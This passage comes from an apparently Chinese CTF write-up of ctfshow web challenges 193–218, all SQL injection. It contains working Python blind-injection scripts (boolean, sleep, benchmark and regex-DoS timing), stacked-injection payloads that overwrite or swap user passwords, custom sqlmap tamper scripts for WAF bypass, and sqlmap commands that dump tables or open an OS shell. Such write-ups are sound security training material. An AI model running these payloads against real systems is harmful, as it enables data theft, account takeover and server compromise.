            'password': '1'
        }
        re = requests.post(url, data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out += k
            print(out)
            break
            
# right

        data = {
            'username': f"0'||if((right((select f1ag from ctfshow_flxg),{j}))='{k+out}',1,0)#",
            'password': '1'
        }
        re = requests.post(url, data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out = k + out
            print(out)
            break
   

web194

查询语句
  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = '{$username}'";      
返回逻辑
  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }
  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }
  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

leftrightsubstring被ban了

了解lpadrpad用法:

s2参数是非必需的,如果我们不写s2参数,那其实就能当leftright

修改上面的脚本,如下:

import requests

url = "http://77af10f7-8d34-4971-b9d4-4b191a7fafb8.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz_'
for j in range(1, 50):
    print(j)
    for k in dic:
        # 查数据库名
        # data = {
        #     'username': f"0'||if(mid(database(),{j},1)='{k}',1,0)#",
        #     'password': '1'
        # }

        # 查表名
        # data = {
        #     'username': f"0'||if((mid((select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),{j},1))='{k}',1,0)#",
        #     'password': '1'
        # }

        # 查列名
        # data = {
        #     'username': f"0'||if((mid((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flxg'),{j},1))='{k}',1,0)#",
        #     'password': '1'
        # }

        # 查具体字段
        data = {
            'username': f"0'||if((lpad((select f1ag from ctfshow_flxg),{j}))='{out+k}',1,0)#",
            'password': '1'
        }
        re = requests.post(url, data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out += k
            print(out)
            break

web195

查询语句
  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";      
返回逻辑
  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }
  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }
  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }      

没过滤分号,ban掉了selectunion使得联合查询之类的不可用了,可以利用分号,进行堆叠注入。

Payload:

1;update(ctfshow_user)set`username`=233,`pass`=233;
->分号分隔语句,有前面可知ctfshow_user表,直接update覆盖用户密码
反引号 ` ` 用于避免字段名与 SQL 关键字冲突

SQL UPDATE 语句

UPDATE 语句用于更新表中已存在的记录。

SQL UPDATE 语法

UPDATE table_name SET column1 = value1, column2 = value2, ...WHERE condition;

参数说明:

table_name:要修改的表名称。

column1, column2, ...:要修改的字段名称,可以为多个字段。

value1, value2, ...:要修改的值,可以为多个值。

condition:修改条件,用于指定哪些数据要修改。

web196

查询语句
  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";      
返回逻辑
  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }
  if(strlen($username)>16){
    $ret['msg']='用户名不能超过16个字符';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

看了别的师傅wp,还是没想明白为什么对select的过滤没生效

Payload:

1;select(1);
password传入1
# select()里面放什么数字,就会返回什么数字,然后丢进$row[0],最后就变成1==$password

web197

查询语句
  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";
      
返回逻辑
  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

把长度限制去了,select是真正的不可用了

Payload:

1;show tables;

依题可知,存在一个表名“ctfshow_user”的表,那么执行show tables回显的结果必然在某一行出现“ctfshow_user”

web198

查询语句
  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";      
返回逻辑
  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }
  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

setban了,可以用insert来插入覆盖

此处还过滤了creatdrop,这俩函数一个创建一个删,上题能删掉表内容在创建新内容达到覆盖效果?🧐

Payload:

1;insert ctfshow_user(username,pass) value(233,233)

另解:

思路主要是利用alter函数,把id和密码互换,密码我们不知道,但是id是数字,于是就可以进行爆破

#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/6/15 22:53
# blog: www.wlhhlc.top
import requests

url = "http://e36a9275-a8a8-4def-bce5-0988a2b9b81d.challenge.ctf.show:8080/api/"
payload = '0x61646d696e;alter table ctfshow_user change column `pass` `dotast` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `dotast` `id` varchar(255);'
data1 = {
    'username': payload,
    'password': '1'
}
res = requests.post(url=url, data=data1)

for i in range(99):
    data2 = {
        'username': "0x61646d696e",
        'password': f'{i}'
    }
    res2 = requests.post(url=url, data=data2)
    if "flag" in res2.json()['msg']:
        print(res2.json()['msg'])
        break

web199

查询语句
  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";      
返回逻辑
  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

用197同款方法打

web200

查询语句
  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";      
返回逻辑
  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(|\,/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

还是用197的方法打

web201

使用--user-agent 指定agent

使用--referer 绕过referer检查

源码里有传参逻辑,url/api?id=get传参

顺手去cp了下refer:https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/

这里用到的,sqlmap参数>

  • --user-agent:伪造ua头

  • --referer:伪造Referer头

这里ua头不用设置,因为这里就是需要sqlmap的ua头,常用--random-agent来随机ua头

referer头去url/sqlmap.php掏一个就行

Payload:

查出sql库类型
python sqlmap.py -u "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/api?id=1" --referer "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/" --batch
# --batch 自动选择
查库
python sqlmap.py -u "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/api?id=1" --referer "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/" --dbs --batch
查表 # -D指定库
python sqlmap.py -u "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/api?id=1" --referer "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/" -D ctfshow_web --tables --batch
查列 # -T指定表
python sqlmap.py -u "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/api?id=1" --referer "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/" -D ctfshow_web -T ctfshow_user --columns --batch
查字段 # --dump转存数据
python sqlmap.py -u "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/api?id=1" --referer "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch

web202

使用--data 调整sqlmap的请求方式

这里要用POST传参,上题的refer头和ua头依旧需要使用

Payload:

python sqlmap.py -u "https://4ff0c8ea-a28c-41f6-93c3-9ecb120d3bee.challenge.ctf.show/api" --data "id=1" --referer "https://4ff0c8ea-a28c-41f6-93c3-9ecb120d3bee.challenge.ctf.show/" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch

web203

使用--method 调整sqlmap的请求方式

要用--method来打,说明需要用PUT方法了

这里跑了好几次都报错,看别的师傅的wp发现需要加上--headers="Content-Type: text/plain",否则是按表单提交,PUT接收不到信息,此处还需要在url/api/后加上index.php0.o

Payload:

python sqlmap.py -u "https://a2419931-cc4a-418e-b365-83680956af53.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://a2419931-cc4a-418e-b365-83680956af53.challenge.ctf.show/" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch

web204

使用--cookie 提交cookie数据

直接去url/apif12把cookie全复制下来是最快的

Payload:

python sqlmap.py -u "https://96aa4d23-7781-47a3-93ef-5b2ac2fc7949.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://96aa4d23-7781-47a3-93ef-5b2ac2fc7949.challenge.ctf.show/" --cookie "PHPSESSID=8euuf13dfl72utkpc2bp9pl6ad; ctfshow=eca0216c3cf8eaad7e483da5fdbe829d" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch

web205

api调用需要鉴权

这里说到要鉴权,正常输入id查询看看怎么个事

原来是每次查询前会跳到url/gerToken.php拿个cookie

--safe-url 提供一个安全不错误的连接,每隔一段时间都会去访问一下
--safe-freq 提供一个安全不错误的连接,设置每次注入测试前访问安全链接的次数

Payload:

python sqlmap.py -u "https://96ce6c49-ea06-4c5a-97df-209a5cab38d2.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://96ce6c49-ea06-4c5a-97df-209a5cab38d2.challenge.ctf.show" --cookie "PHPSESSID=2i2702v07lfg5kut2lr9tluqhe" --safe-url="https://96ce6c49-ea06-4c5a-97df-209a5cab38d2.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx,id,tes --dump --batch

注意这里flag换了个表存

web206

sql需要闭合

其实这个提示没啥用的,sqlmap会自己测闭合,手测发现还是会鉴权,上题payload接着用就行

Payload:

python sqlmap.py -u "https://cd1b7631-8419-4a3d-bd90-e5dfcee58eb3.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://cd1b7631-8419-4a3d-bd90-e5dfcee58eb3.challenge.ctf.show" --cookie "PHPSESSID=ju4jc3md25ogn0avipvode6e9j" --safe-url="https://cd1b7631-8419-4a3d-bd90-e5dfcee58eb3.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxc -C flagv,id,tes --dump --batch

web207

--tamper 的初体验

//对传入的参数进行了过滤
  function waf($str){
   return preg_match('/ /', $str);
  }

先来了解sqlmap中的--tamper功能,tamper功能使得sqlmap能够对waf进行绕过,其本身自带有部分绕waf脚本,功能如下:

序号

脚本名称

注释

1

0x2char

将每个编码后的字符转换为等价表达

2

apostrophemask

单引号替换为Utf8字符

3

apostrophenullencode

替换双引号为%00%27

4

appendnullbyte

有效代码后添加%00

5

base64encode

使用base64编码

6

between

比较符替换为between

7

bluecoat

空格替换为随机空白字符,等号替换为like

8

chardoubleencode

双url编码

9

charencode

将url编码

10

charunicodeencode

使用unicode编码

11

charunicodeescape

以指定的payload反向编码未编码的字符

12

commalesslimit

改变limit语句的写法

13

commalessmid

改变mid语句的写法

14

commentbeforeparentheses

在括号前加内联注释

15

concat2concatws

替换CONCAT为CONCAT_WS

16

equaltolike

等号替换为like

17

escapequotes

双引号替换为\\\\

18

greatest

大于号替换为greatest

19

halfversionedmorekeywords

在每个关键字前加注释

20

htmlencode

html编码所有非字母和数字的字符

21

ifnull2casewhenisnull

改变ifnull语句的写法

22

ifnull2ifisnull

替换ifnull为if(isnull(A))

23

informationschemacomment

标示符后添加注释

24

least

替换大于号为least

25

lowercase

全部替换为小写值

26

modsecurityversioned

空格替换为查询版本的注释

27

modsecurityzeroversioned

添加完整的查询版本的注释

28

multiplespaces

添加多个空格

29

nonrecursivereplacement

替换预定义的关键字

30

overlongutf8

将所有字符转义为utf8

31

overlongutf8more

以指定的payload转换所有字符

32

percentage

每个字符前添加%

33

plus2concat

将加号替换为concat函数

34

plus2fnconcat

将加号替换为ODBC函数{fn CONCAT()}

35

randomcase

字符大小写随机替换

36

randomcomments

/**/分割关键字

37

securesphere

添加某字符串

38

sp_password

追加sp_password字符串

39

space2comment

空格替换为/**/

40

space2dash

空格替换为--加随机字符

41

space2hash

空格替换为#加随机字符

42

space2morecomment

空格替换为/**_**/

43

space2morehash

空格替换为#加随机字符及换行符

44

space2mssqlblank

空格替换为其他空符号

45

space2mssqlhash

空格替换为%23%0A

46

space2mysqlblank

空格替换为其他空白符号

47

space2mysqldash

空格替换为--%0A

48

space2plus

空格替换为加号

49

space2randomblank

空格替换为备选字符集中的随机字符

50

symboliclogical

AND和OR替换为&&和||

51

unionalltounion

union all select替换为union select

52

unmagicquotes

宽字符绕过GPC

53

uppercase

全部替换为大写值

54

varnish

添加HTTP头

55

versionedkeywords

用注释封装每个非函数的关键字

56

versionedmorekeywords

使用注释绕过

57

xforwardedfor

添加伪造的HTTP头

同时 ,我们还能按照tamper的模板来修改脚本内容,针对不同题目要求进行绕过,此处暂不展开

题目过滤了空格,这里用space2comment.py (用/**/代替空格)来绕过

Payload:

python sqlmap.py -u "https://dcf40ec2-4b7a-46e9-bf4d-63b095379b5e.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://dcf40ec2-4b7a-46e9-bf4d-63b095379b5e.challenge.ctf.show" --cookie "PHPSESSID=4dq83pvgu88j7rumb27kik9im4" --safe-url="https://dcf40ec2-4b7a-46e9-bf4d-63b095379b5e.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper space2comment.py -D ctfshow_web -T ctfshow_flaxca -C flagvc,id,tes --dump --batch

web208

--tamper 的2体验

//对传入的参数进行了过滤
// $id = str_replace('select', '', $id);
  function waf($str){
   return preg_match('/ /', $str);
  }

tamper可以调用多个绕过脚本,这里会把select置换为空,这里用randomcase.py(随机大小写)

Payload:

python sqlmap.py -u "https://deec8e53-8c37-4c30-9a99-372abc46508b.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://deec8e53-8c37-4c30-9a99-372abc46508b.challenge.ctf.show/" --cookie "PHPSESSID=dbtb17i7bloe6vnpff17ls81rs" --safe-url="https://deec8e53-8c37-4c30-9a99-372abc46508b.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper space2comment.py,randomcase.py -D ctfshow_web -T ctfshow_flaxcac -C flagvca,id,tes --dump --batch

web209

--tamper 的3体验

//对传入的参数进行了过滤
  function waf($str){
   //TODO 未完工
   return preg_match('/ |\*|\=/', $str);
  }

等号被ban了可用equaltolike.py(=替换like),但是空格这里被过滤了,也没有星号,注释绕过行不通,这里貌似没有能替换,这里用space2comment.py作为模板,修改一下,用来打这一题(这里动空格过滤的同时,把等于号也改动了,只需要引用这个文件即可)

#!/usr/bin/env python

"""Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)See the file 'LICENSE' for copying permission"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW


def dependencies():
    pass


def tamper(payload, **kwargs):
    """    Replaces space character (' ') with comments '/**/'    Tested against:        * Microsoft SQL Server 2005        * MySQL 4, 5.0 and 5.5        * Oracle 10g        * PostgreSQL 8.3, 8.4, 9.0    Notes:        * Useful to bypass weak and bespoke web application firewalls    >>> tamper('SELECT id FROM users')    'SELECT/**/id/**/FROM/**/users'    """retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x9)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote
            # =换成like
            elif payload[i] == '=':
                retVal += chr(0x9) + 'like' + chr(0x9)
                continue
            # 空格换成%09
            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x9)
                continue

            retVal += payload[i]

    return retVal

Payload:

python sqlmap.py -u "https://b9078185-264c-4c49-90a9-1e611ff27952.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://b9078185-264c-4c49-90a9-1e611ff27952.challenge.ctf.show/" --cookie "PHPSESSID=evn4h59knk8u6ico477d4ddaov" --safe-url="https://b9078185-264c-4c49-90a9-1e611ff27952.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper web209.py -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx,id,tes --dump --batch

web210

--tamper 的4体验

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }

其实是套了两层base64和翻转,这个解密过程是:base64->翻转->base64->翻转

所以我们的加密应该是:翻转->base64->翻转->base64

预设的tamper里有个base64encode.py,可以改一改拿来用

改一下得到tamper用到的脚本:

#!/usr/bin/env python

"""Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)See the file 'LICENSE' for copying permission"""

from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """    Base64-encodes all characters in a given payload    >>> tamper("1' AND SLEEP(5)#")    'MScgQU5EIFNMRUVQKDUpIw=='    """return encodeBase64(encodeBase64(payload[::-1], binary=False)[::-1], binary=False) if payload else payload

Payload:

python sqlmap.py -u "https://d61e433b-4aed-4d16-856f-d38e86f95de8.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://d61e433b-4aed-4d16-856f-d38e86f95de8.challenge.ctf.show/" --cookie "PHPSESSID=p5u32mj7b1uf0mb0sq0dekol7d" --safe-url="https://d61e433b-4aed-4d16-856f-d38e86f95de8.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper web210.py -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx,id,tes --dump --batch

web211

--tamper 的5体验

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }
function waf($str){
    return preg_match('/ /', $str);
}

加密逻辑同上题,多了个空格过滤,对上题脚本稍作修改

#!/usr/bin/env python

"""Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)See the file 'LICENSE' for copying permission"""

from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """    Base64-encodes all characters in a given payload    >>> tamper("1' AND SLEEP(5)#")    'MScgQU5EIFNMRUVQKDUpIw=='    """return encodeBase64(encodeBase64(payload[::-1].replace(' ', chr(0x09)), binary=False)[::-1], binary=False) if payload else payload

Payload:

python sqlmap.py -u "https://250ef957-5322-4c1e-ad85-075b192964bd.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://250ef957-5322-4c1e-ad85-075b192964bd.challenge.ctf.show/" --cookie "PHPSESSID=rahllt88gupk9g2qoq4ejut7q7" --safe-url="https://250ef957-5322-4c1e-ad85-075b192964bd.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper web211.py -D ctfshow_web -T ctfshow_flavia -C ctfshow_flagxxa,id,tes --dump --batch

web212

--tamper 的6体验

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }
function waf($str){
    return preg_match('/ |\*/', $str);
}

新增了星号过滤,但是联合查询貌似不需要星号吧o.0,上一题脚本直接可以打

Payload:

python sqlmap.py -u "https://0ef3df59-b9e9-4d30-80de-f9bc0636f1e1.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://0ef3df59-b9e9-4d30-80de-f9bc0636f1e1.challenge.ctf.show/" --cookie "PHPSESSID=30uqjjuhpe0d85o7gmjgs3mj22" --safe-url="https://0ef3df59-b9e9-4d30-80de-f9bc0636f1e1.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper web211.py -D ctfshow_web -Tctfshow_flavis -C ctfshow_flagxxa,id,tes --dump --batch

web213

练习使用--os-shell 一键getshell

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }
function waf($str){
    return preg_match('/ |\*/', $str);
}

上一题的脚本仍然可用,但是flag不在表里了,需要用--os-shellgetshell了

Payload:

python sqlmap.py -u "https://87a73f65-3fb9-41bf-8fd5-a55fbd2fc4e2.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://87a73f65-3fb9-41bf-8fd5-a55fbd2fc4e2.challenge.ctf.show/" --cookie "PHPSESSID=6q7ve32dcut6ik038kkubm94id" --safe-url="https://87a73f65-3fb9-41bf-8fd5-a55fbd2fc4e2.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper web211.py --os-shell --batch
# getshell之后
os-shell> cat /ctfshow_flag

web214

开始基于时间盲注

注入点在这个ip处,往url/api发POST,内容是ip=if(1,sleep(5),0)&debug=1,可以发现网页成功sleep了

二分法盲注脚本:

"""
Author:Y4tacker
"""
import requests

url = "http://d23ee9e9-3e43-4b0a-b172-547561ea456d.chall.ctf.show/api/"

result = ""
i = 0
while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查列名字-id.flag
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'"
        # 查数据
        payload = "select flaga from ctfshow_flagx"
        data = {
            'ip': f"if(ascii(substr(({payload}),{i},1))>{mid},sleep(1),1)",
            'debug':'0'
        }
        try:
            r = requests.post(url, data=data, timeout=1)
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

web215

/用了单引号

加上了单引号闭合 稍微改一改上题脚本

"""Author:Y4tacker"""
import requests

url = "http://58fedc0e-77e9-4603-9752-c9f6e444cec7.challenge.ctf.show/api/"

result = ""
i = 0
while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查列名字-id.flag
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'"
        # 查数据
        payload = "select flagaa from ctfshow_flagxc"
        data = {
            'ip': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(1),1) and '1'='1",
            'debug':'0'
        }
        try:
            r = requests.post(url, data=data, timeout=1)
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

web216

查询语句

where id = from_base64($id);

这里解码的其实是查询内容,也就是查询语句“=”后接的内容,但是我们的payload在闭合符号之后,所以只需要在闭合的引号前面换成base64编码的文本即可

"""
Author:Y4tacker
"""
import requests

url = "http://48fe6e0c-bb44-48e7-b0a0-18c33c7cfffa.challenge.ctf.show/api/"

result = ""
i = 0
while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查列名字-id.flag
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'"
        # 查数据
        payload = "select flagaac from ctfshow_flagxcc"
        data = {
            'ip': f"'MQ==') or if (ascii(substr(({payload}),{i},1))>{mid},sleep(1),1",
            'debug':'0'
        }
        try:
            r = requests.post(url, data=data, timeout=1)
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

web217

查询语句
       where id = ($id);      
返回逻辑
    //屏蔽危险分子
    function waf($str){
        return preg_match('/sleep/i',$str);
    }   

这里sleep被过滤了,换成benchmark函数,该函数用于测试函数或表达式的执行速度

BENCHMARK(loop_count, expression)

  • loop_count:指定表达式需要重复执行的次数。

  • expression:要执行的表达式。

debug=1&ip=benchmark(3000000,md5('1'))响应时间大概花了3s,类似于sleep(3)

1million≈1s

不太稳定,这里收集了两位师傅的脚本

# @author:Myon
# @time:20240813
import requests
import string
 
url = 'http://6f8c19e2-81c7-4dbc-990c-aa3e3666e54f.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''
 
for j in range(1, 50):
    for k in dic:
        # payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',benchmark(3000000,md5('myon')),0)"}  # 猜数据库名
        # payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxccb'), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}  # 猜列名
        payload = {'debug': '1', 'ip': f"if(substr((select flagaabc from ctfshow_flagxccb), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}  # 跑flag
 
        re = requests.post(url, data=payload)
        if re.elapsed.total_seconds() > 2:
            out += k
            break
    print(out)
"""
Author:Y4tacker
"""
import requests

url = "http://6e7c94f3-c90b-4e61-9058-b4c0655f7978.challenge.ctf.show/api/"

result = ""
i = 0
while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查列名字-id.flag
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'"
        # 查数据
        payload = "select flagaac from ctfshow_flagxcc"
        data = {
            'ip': f"'MQ==') or if (ascii(substr(({payload}),{i},1))>{mid},sleep(1),1",
            'debug':'0'
        }
        try:
            r = requests.post(url, data=data, timeout=1)
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

web218

查询语句
       where id = ($id);      
返回逻辑
    //屏蔽危险分子
    function waf($str){
        return preg_match('/sleep|benchmark/i',$str);
    }   

benchmark都没了,考虑正则DOS RLIKE注入

参考文章:https://xz.aliyun.com/news/5136

延时原理,利用SQL多次计算正则消耗计算资源产生延时效果,其实原理是和我们的benchmark注入差不多的。

但是这种方式受环境影响较大,跑着跑着的过程出现了时延不太稳定的情况

import time

import requests

url = "http://e8f340af-d5ca-40bf-ad36-c5b1a7bbb0e9.challenge.ctf.show/api/"
bypass = """(concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b')"""
# payload = "1) or if(ascii(substr((select database()),{0},1))>{1},{2},0)-- +"
# payload = "1) or if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{0},1))>{1},{2},0)-- +"
# payload = "1) or if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagxc'),{0},1))>{1},{2},0)-- +"
payload = "1) or if(ascii(substr((select group_concat(id,'---',flagaac)from ctfshow_flagxc),{0},1))>{1},{2},0)-- +"
flag = ''

for i in range(1,100):
    high = 128
    low = 32
    mid = (high+low)//2
    while(high>low):
        payload1=payload.format(i,mid,bypass)
        # print(payload1)
        # print(payload1)
        data = {
            'ip':payload1,
            'debug':0
        }
        start_time=time.time()
        re = requests.post(url=url,data=data)
        end_time=time.time()
        subtime=end_time-start_time
        # print(subtime)
        if subtime > 0.9:
            low=mid+1
        else:
            high=mid
        mid=(low+high)//2
        if(chr(mid)==" "):
            break
    flag+=chr(mid)
    print(flag)
# @author:Myon
# @time:20240814
import requests
import string
from time import *

url = 'http://e8f340af-d5ca-40bf-ad36-c5b1a7bbb0e9.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''
